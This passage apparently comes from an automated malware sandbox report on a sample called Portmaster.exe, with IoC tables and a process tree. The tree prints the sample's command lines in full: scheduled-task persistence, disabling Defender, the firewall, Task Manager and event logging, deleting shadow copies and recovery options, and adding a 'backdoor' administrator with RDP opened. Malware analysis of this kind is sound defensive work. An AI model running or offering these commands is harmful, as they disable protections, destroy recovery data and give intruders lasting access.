2976	schtasks.exe
4384	schtasks.exe
9320	schtasks.exe
5560	schtasks.exe
4508	schtasks.exe
5784	schtasks.exe
1780	schtasks.exe
3124	schtasks.exe
4476	schtasks.exe
3984	schtasks.exe
5644	schtasks.exe
9700	schtasks.exe
3532	schtasks.exe
6196	schtasks.exe
10004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3664	powershell.exe
3664	powershell.exe
4028	powershell.exe
4028	powershell.exe
4980	Portmaster.exe
4980	Portmaster.exe
2660	Portmaster.exe
2660	Portmaster.exe
5064	powershell.exe
5064	powershell.exe
3228	powershell.exe
3228	powershell.exe
5064	powershell.exe
3228	powershell.exe
4600	powershell.exe
4600	powershell.exe
6748	powershell.exe
6748	powershell.exe
5348	powershell.exe
5348	powershell.exe
3100	powershell.exe
3100	powershell.exe
7096	powershell.exe
7096	powershell.exe
4600	powershell.exe
4600	powershell.exe
7436	powershell.exe
7436	powershell.exe
7504	powershell.exe
7504	powershell.exe
7896	powershell.exe
7896	powershell.exe
7696	powershell.exe
7696	powershell.exe
7648	powershell.exe
7648	powershell.exe
7720	powershell.exe
7720	powershell.exe
7940	powershell.exe
7940	powershell.exe
6748	powershell.exe
6748	powershell.exe
3100	powershell.exe
3100	powershell.exe
5348	powershell.exe
5348	powershell.exe
7096	powershell.exe
7096	powershell.exe
7896	powershell.exe
7436	powershell.exe
7436	powershell.exe
3988	powershell.exe
3988	powershell.exe
6224	powershell.exe
6224	powershell.exe
8004	powershell.exe
8004	powershell.exe
2360	powershell.exe
2360	powershell.exe
7504	powershell.exe
7504	powershell.exe
7696	powershell.exe
7696	powershell.exe
7648	powershell.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
8500	Process not Found
11588	Process not Found
10500	Process not Found
10916	Process not Found
5108	Process not Found
11448	Process not Found
11504	Process not Found
9564	Process not Found
4100	Process not Found
3200	Process not Found
11724	Process not Found
6236	Process not Found
10820	Process not Found
6616	Process not Found
3776	Process not Found
11824	Process not Found
11644	Process not Found
9752	Process not Found
1616	Process not Found
4560	Process not Found
1284	Process not Found
3616	Process not Found
11676	Process not Found
4904	Process not Found
5184	Process not Found
2600	Process not Found
3948	Process not Found
10748	Process not Found
11892	Process not Found
12072	Process not Found
9576	Process not Found
11912	Process not Found
5704	Process not Found
10396	Process not Found
8396	Process not Found
4124	Process not Found
8448	Process not Found
11396	Process not Found
9252	Process not Found
64	Process not Found
12060	Process not Found
9160	Process not Found
5424	Process not Found
12280	Process not Found
7104	Process not Found
10660	Process not Found
10488	Process not Found
11616	Process not Found
11428	Process not Found
9524	Process not Found
5804	Process not Found
11328	Process not Found
11308	Process not Found
3856	Process not Found
11048	Process not Found
9736	Process not Found
10832	Process not Found
11760	Process not Found
4316	Process not Found
11112	Process not Found
10124	Process not Found
10288	Process not Found
9484	Process not Found
3460	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
6076	msedge.exe
6076	msedge.exe
6076	msedge.exe
6076	msedge.exe
6076	msedge.exe
6076	msedge.exe
6076	msedge.exe
6076	msedge.exe
6076	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	6748	powershell.exe
Token: SeDebugPrivilege	5348	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	7096	powershell.exe
Token: SeDebugPrivilege	7436	powershell.exe
Token: SeDebugPrivilege	7504	powershell.exe
Token: SeDebugPrivilege	7896	powershell.exe
Token: SeDebugPrivilege	7696	powershell.exe
Token: SeDebugPrivilege	7648	powershell.exe
Token: SeDebugPrivilege	7720	powershell.exe
Token: SeDebugPrivilege	7940	powershell.exe
Token: SeDebugPrivilege	3988	powershell.exe
Token: SeDebugPrivilege	6224	powershell.exe
Token: SeDebugPrivilege	8004	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeCreateGlobalPrivilege	9200	dwm.exe
Token: SeChangeNotifyPrivilege	9200	dwm.exe
Token: 33	9200	dwm.exe
Token: SeIncBasePriorityPrivilege	9200	dwm.exe
Token: SeCreateGlobalPrivilege	8464	dwm.exe
Token: SeChangeNotifyPrivilege	8464	dwm.exe
Token: 33	8464	dwm.exe
Token: SeIncBasePriorityPrivilege	8464	dwm.exe
Token: SeCreateGlobalPrivilege	9496	dwm.exe
Token: SeChangeNotifyPrivilege	9496	dwm.exe
Token: 33	9496	dwm.exe
Token: SeIncBasePriorityPrivilege	9496	dwm.exe
Token: SeCreateGlobalPrivilege	3656	dwm.exe
Token: SeChangeNotifyPrivilege	3656	dwm.exe
Token: 33	3656	dwm.exe
Token: SeIncBasePriorityPrivilege	3656	dwm.exe
Token: SeCreateGlobalPrivilege	10068	dwm.exe
Token: SeChangeNotifyPrivilege	10068	dwm.exe
Token: 33	10068	dwm.exe
Token: SeIncBasePriorityPrivilege	10068	dwm.exe
Token: SeDebugPrivilege	5204	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	7776	powershell.exe
Token: SeDebugPrivilege	8092	powershell.exe
Token: SeDebugPrivilege	9884	powershell.exe
Token: SeCreateGlobalPrivilege	9836	dwm.exe
Token: SeChangeNotifyPrivilege	9836	dwm.exe
Token: 33	9836	dwm.exe
Token: SeIncBasePriorityPrivilege	9836	dwm.exe
Token: SeCreateGlobalPrivilege	11192	dwm.exe
Token: SeChangeNotifyPrivilege	11192	dwm.exe
Token: 33	11192	dwm.exe
Token: SeIncBasePriorityPrivilege	11192	dwm.exe
Token: SeCreateGlobalPrivilege	9784	Process not Found
Token: SeChangeNotifyPrivilege	9784	Process not Found
Token: 33	9784	Process not Found
Token: SeIncBasePriorityPrivilege	9784	Process not Found
Token: SeCreateGlobalPrivilege	6348	Process not Found
Token: SeChangeNotifyPrivilege	6348	Process not Found
Token: 33	6348	Process not Found
Token: SeIncBasePriorityPrivilege	6348	Process not Found
Token: SeDebugPrivilege	9976	Process not Found
Token: SeDebugPrivilege	10740	Process not Found
Token: SeCreateGlobalPrivilege	11600	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6076	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 5004	2660	Portmaster.exe	86
PID 5004 wrote to memory of 1332	5004	cmd.exe	88
PID 2660 wrote to memory of 1156	2660	Portmaster.exe	89
PID 1156 wrote to memory of 4760	1156	cmd.exe	91
PID 2660 wrote to memory of 5388	2660	Portmaster.exe	92
PID 5388 wrote to memory of 5736	5388	cmd.exe	95
PID 2660 wrote to memory of 3952	2660	Portmaster.exe	96
PID 3952 wrote to memory of 3664	3952	cmd.exe	99
PID 4980 wrote to memory of 2084	4980	Portmaster.exe	102
PID 2084 wrote to memory of 3984	2084	cmd.exe	104
PID 4980 wrote to memory of 3020	4980	Portmaster.exe	105
PID 3020 wrote to memory of 3344	3020	cmd.exe	107
PID 4980 wrote to memory of 5060	4980	Portmaster.exe	108
PID 5060 wrote to memory of 3776	5060	cmd.exe	110
PID 4980 wrote to memory of 1716	4980	Portmaster.exe	111
PID 1716 wrote to memory of 4028	1716	cmd.exe	113
PID 2660 wrote to memory of 2032	2660	Portmaster.exe	114
PID 2032 wrote to memory of 1584	2032	cmd.exe	210
PID 4980 wrote to memory of 3916	4980	Portmaster.exe	117
PID 3916 wrote to memory of 3524	3916	cmd.exe	119
PID 4980 wrote to memory of 6092	4980	Portmaster.exe	120
PID 4980 wrote to memory of 5672	4980	Portmaster.exe	122
PID 4980 wrote to memory of 3864	4980	Portmaster.exe	124
PID 2660 wrote to memory of 204	2660	Portmaster.exe	125
PID 4980 wrote to memory of 5048	4980	Portmaster.exe	128
PID 2660 wrote to memory of 6068	2660	Portmaster.exe	401
PID 5048 wrote to memory of 6044	5048	cmd.exe	580
PID 2660 wrote to memory of 1568	2660	Portmaster.exe	559
PID 2660 wrote to memory of 1264	2660	Portmaster.exe	135
PID 4980 wrote to memory of 4976	4980	Portmaster.exe	137
PID 1264 wrote to memory of 3372	1264	cmd.exe	139
PID 4976 wrote to memory of 3616	4976	cmd.exe	140
PID 2660 wrote to memory of 5956	2660	Portmaster.exe	141
PID 4980 wrote to memory of 1268	4980	Portmaster.exe	143
PID 5956 wrote to memory of 3496	5956	cmd.exe	795
PID 2660 wrote to memory of 2516	2660	Portmaster.exe	146
PID 1268 wrote to memory of 3120	1268	cmd.exe	520
PID 4980 wrote to memory of 1032	4980	Portmaster.exe	149
PID 2516 wrote to memory of 5512	2516	cmd.exe	363
PID 2660 wrote to memory of 4556	2660	Portmaster.exe	152
PID 1032 wrote to memory of 4260	1032	cmd.exe	621
PID 4980 wrote to memory of 4244	4980	Portmaster.exe	155
PID 4556 wrote to memory of 4120	4556	cmd.exe	157
PID 2660 wrote to memory of 5700	2660	Portmaster.exe	158
PID 4244 wrote to memory of 3652	4244	cmd.exe	160
PID 4980 wrote to memory of 3280	4980	Portmaster.exe	161
PID 5700 wrote to memory of 5012	5700	cmd.exe	162
PID 2660 wrote to memory of 4492	2660	Portmaster.exe	164
PID 3280 wrote to memory of 4804	3280	cmd.exe	166
PID 4804 wrote to memory of 4424	4804	net.exe	167
PID 4492 wrote to memory of 4388	4492	cmd.exe	168
PID 4388 wrote to memory of 4240	4388	net.exe	169
PID 2660 wrote to memory of 1308	2660	Portmaster.exe	170
PID 4980 wrote to memory of 5040	4980	Portmaster.exe	172
PID 1308 wrote to memory of 5788	1308	cmd.exe	174
PID 5788 wrote to memory of 3716	5788	net.exe	175
PID 5040 wrote to memory of 5076	5040	cmd.exe	176
PID 5076 wrote to memory of 1532	5076	net.exe	236
PID 2660 wrote to memory of 6004	2660	Portmaster.exe	178
PID 4980 wrote to memory of 1504	4980	Portmaster.exe	180
PID 6004 wrote to memory of 5544	6004	cmd.exe	182
PID 5544 wrote to memory of 6016	5544	net.exe	183
PID 1504 wrote to memory of 4704	1504	cmd.exe	184
PID 2660 wrote to memory of 1360	2660	Portmaster.exe	185

C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
1⤵
- Drops startup file
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1332
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4760
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    PID:5736
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1584
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:204
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:6068
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:1568
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
    PID:3372
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5956
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:3496
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:5512
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\SysWOW64\sc.exe
    sc config Schedule start= disabled
    3⤵
    - Launches sc.exe
    PID:4120
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5700
- - C:\Windows\SysWOW64\sc.exe
    sc config EventLog start= disabled
    3⤵
    - Launches sc.exe
    PID:5012
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\SysWOW64\net.exe
    net user backdoor P@ssw0rd123! /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4388
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
      4⤵
      PID:4240
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators backdoor /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators backdoor /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:3716
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:6004
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:5544
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:6016
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:1360
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:1988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
  2⤵
  PID:3828
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    - Modifies Windows Firewall
    PID:3420
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Writes to the Master Boot Record (MBR)
  PID:4264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1532
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5208
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:4588
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7712
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:9804
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:7640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:10932
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - Writes to the Master Boot Record (MBR)
  PID:3108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:3000
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5140
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6564
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:1216
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:9080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:7240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:9040
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:7892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:448
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:9192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:6272
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:4436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:6536
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:8796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:6132
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:8404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:8736
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:1568
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:5524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:8908
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:7312
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:7780
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:7240
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:3980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:7852
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:7288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:1688
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:7624
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:1704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
      4⤵
      PID:8588
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      PID:6724
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1496
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:7444
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8020
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6904
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9512
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:9548
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:7776
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        
        PID:9700
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:7536
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:5236
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9084
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        
        PID:7252
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reagentc /disable
        5⤵
        
        PID:10100
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
        5⤵
        
        PID:3996
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        
        PID:9896
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
        5⤵
        
